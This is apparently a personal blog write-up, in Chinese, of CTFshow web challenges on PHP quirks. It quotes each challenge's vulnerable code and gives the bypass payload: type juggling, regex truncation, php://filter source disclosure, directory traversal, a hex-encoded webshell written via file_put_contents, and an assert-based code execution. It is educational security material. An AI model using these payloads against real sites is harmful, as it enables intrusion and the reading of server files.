CTFshow Web专题 PHP特性


CTFshow Web专题 PHP特性

[TOC]

Web89

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

这里考察的是 preg_match — 执行匹配正则表达式 这个表达式的匹配。我们可以参考官方文档

**preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()**在第一次匹配后 将会停止搜索。

由于参与匹配的是字符串内容,我们可以构造非字符串也就是数组内容?num[]=1;

Web90

这道题目是intval( )函数的使用,还是看下这个函数的官方文档吧:

intval ( mixed $var [, int $base = 10 ] ) : int
#Note: 如果 base 是 0,通过检测 var 的格式来决定使用的进制:
#如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
#如果字符串以 “0” 开始,使用 8 进制(octal);否则,
#将使用 10 进制 (decimal)。

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");}
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

可以使用的方式很多,4476.0+4476.04476e00x117c010574这些方式都可以绕过===

Web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
  • 正则表达式, i 不区分大小写 m 多行匹配
  • 多行匹配中存在php,单行不匹配
  • ?cmd=%0aphp

Web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这个什么都没有过滤,可以用+法,小数,八进制,十六进制都行…

Web93

这道题过滤了 [a-z]/i ,并且将num==="4476"转化为num==="4476"转化为num==“4476”,这样使用+4476,4476.0都被过滤了,同时过滤了字母,所以包含0x的十六进制也被过滤了,我们可以使用八进制形式的010574进行绕过

Web94

这道题又改回了 $num===“4476” ,这样把小数给放出来了,这样应该是考我们小数.?num=4476.0就能完成。当然用计算的方式也行,比如4476+0

Web95

这一个题目的问题主要产生在 strpos ()这个函数上,可以看到这个函数必须含有0,同时弱类型匹配过滤了运算,下面又进一步过滤了小数点,16进制,还是使用八进制的010574进行操作,对strpos函数的绕过,我们可以使用 空格或者换行符

### Web96

在linux下面表示当前目录是 ./ 所以payload: u=./flag.php,这一道题应该说是linux系统尝试和PHP特性的结合吧

这里也可以使用php伪协议进行绕过:?file=php://filter/convert.base64-encode/resource=flag.php对得到的内容进行PHP解码就行

Web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

a!=b,同时md5值相同这直接上数组就行…a[]=1&b[]=2

Web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?> 

这里是三目运算符和取地址, 根据第一条可知,如果get传了一个值,那么就可以用post覆盖get中的值。中间两行意义不大 , 如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码。
思路:存在get参数,那么POST参数赋值给GET(名为GET其实为POST)在POST参数HTTP_FLAG

?a=a post:HTTP_FLAG=flag

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
} 

v2,v3以get传参传入,v1必须通过post传参传入。

is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。但在php5版本下有漏洞,在数字中间带e会被识别为科学计数法。

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
//输出5044383959474e6864434171594473

file_put_contents() 函数把一个字符串写入文件中。

call_user_func() 函数把第一个参数作为回调函数调用,通过这个函数可以将编码为16进制的V2重新变为一句话木马,v3通过伪协议写入1.php文件中内容,v1通过Post传参传入hex2bin

Web103

解题过程payload同web102

Web104

<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}?>

要求v1的散列与v2的散列相等, sha1()函数在判断时无法处理数组类型,会返回false,故可以构建数组类型绕过

当然因为没有什么过滤什么的,完全可以直接令v1和v2都置为1,也能得到flag。

Web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){		#get是一个预定义的数组,此处将get中的数据按照键值对取出
    if($key==='error'){				  #key是传入的参数名称 成立条件  error=random
        die("what are you doing?!");
    }
    $$key=$$value;					#此处将传入的传参名(键)和传参值(值)定义为变量,并使传参名(键)的数值等于传参值(值),通俗的说,就是咱们人工加入了一个变量,而且给予赋值
}foreach($_POST as $key => $value){	 #post同样是一个预定义的数组,同样按照键值对取出
    if($value==='flag'){			#如果传入的值为flag,if判定成立
        die("what are you doing?!");
    }
    $$key=$$value;					#同上,人工添加变量
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";	#要输出flag需要满足$_POST['flag']==$flag,但是$flag属于未知,我们就可以进行变量覆盖
die($suces); 

Web106

highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
} 

我们这里需要使用数组绕过也可以使用,强碰撞 aaroZmOk与aaK1STfY或aaO8zKZF与aa3OFF9m

Web107

这个真是涨知识了,parse_str()函数这个我真不知道。

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}

在官方文档中

parse_str — 将字符串解析成多个变量
parse_str ( string $encoded_string [, array &$result ] ) : void
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。

我们传入v3=1 然后v1=flag=c4ca4238a0b923820dcc509a6f75849b 即1的md5值即可

Web108

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
}
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;}
?> 

考察点:ereg %00正则截断

第一层是ereg()函数, ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

第二层一个弱比较,strrev()函数是反转字符串,intval()函数通过使用指定的进制 base 转换,返回变量 var 的 integer 数值。

我们可以通过a%00778完成绕过。首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。

Web109

这玩意,我怎么说呢,我真不会,这一块也是学了一些新的东西

Exception 异常处理类 http://c.biancheng.net/view/6253.html

Web111

变量覆盖,这里应该考察的就是全局元素

Web112

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

过滤了data和base64,但是怎么说呢,过滤了这个偏偏可以想着如何绕过这个过滤…这种情况大概是非预期解

/?file=php://filter/convert.%2562ase64-encode/resource=flag.php

Web123

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

所以如果我们直接传CTF_SHOW.COM是会被转换成CFT_SHOW_COM的,绕过的话这里要利用它的判定规则,当变量名中存在两个不合法字符时,只转换前面的那一个。[和.并存时,会转换前面的[,而[转换之后恰好为_,从而可以绕过。

Web125

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

$argv:传递给脚本的参数数组

Web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 

源代码第六行使用 isset 语句判断,所以我们需要定义 CTF_SHOW ,CTF_SHOW.COM,但是不能声明fl0g,但是后面的判断中fl0g==="flag_give_me"才能得到flag,这里就需要我们通过 CTF_SHOW ,CTF_SHOW.COM两个参数绕过。

assert函数

bool assert ( mixed $assertion [, Throwable $exception ] ) , eval和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加。

GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

Web127

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}
if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}
if($ctf_show==='ilove36d'){
    echo $flag;
} 

extract抽取函数:通常情况结合数组使用,?ctf_show=ilove36d但是下划线被过滤了,这里又一次用到了上面讲到的内容,当变量名中存在会将其转化为_ 空格是经典的非法参数,我们就可以用%20进行绕过

Web128

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

Web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

stripos() 函数查找字符串在另一字符串中第一次出现的位置 ,readfile() 函数输出一个文件。同时stripos($f, ‘ctfshow’)>0说明ctfshow不能放在首部。

这道题解法也有不少,比如目录穿越 ?f=/ctfshow/…/…/…/…/…/var/www/html/flag.php

再比如filter伪协议,?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php

甚至我们可以 ?f=./ctfshow/…/flag.php 先进入名为ctfshow的下级文件夹在穿越回去,这个跟第一个本质上是一样的…

Web130

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

直接绕过正则表达式: f=ctfshow

.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复,所以在ctfshow前面必须有至少一个字符,才会返回true。所以才有了直接f=ctfshow。

这一道题也可以通过数组绕过,因为stripos函数无法处理数组, 可以直接传f[]=1,

Web131

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

可以利用回溯限制来绕过。

当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。这里ctfshow提供的wp不知道为什么我做不出来…

这边利用回溯限制来绕过,当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。

import requests
url='http://8d380352-394f-4754-8bde-5c906930bcd2.challenge.ctf.show/'
data={
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

Web132

打开是一个网站,访问robots.txt得到/admin打开/admin获得题目。

<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        if($code == 'admin'){
            echo $flag;
        }
    }
}

对于(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于或(||) 运算 : x||y 当x为true时,直接跳过,不执行y ,同时与运算的优先级要高于或运算,所以我们只需要满足第三个条件就行。

?username=admin&password=admin&code=admin

Web137

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }static function getFlag(){
        echo file_get_contents("flag.php");
    }
}call_user_func($_POST['ctfshow']);

考察调用类中的函数

call_user_func()–第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

ctfshow=ctfshow::getFlag
#php中 ->与:: 调用类中的成员的区别,->用于动态语境处理某个类的某个实例,::可以调用一个静态的、不依赖于其他初始化的类方法。

文章作者: 十二惊惶
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 十二惊惶 !
  目录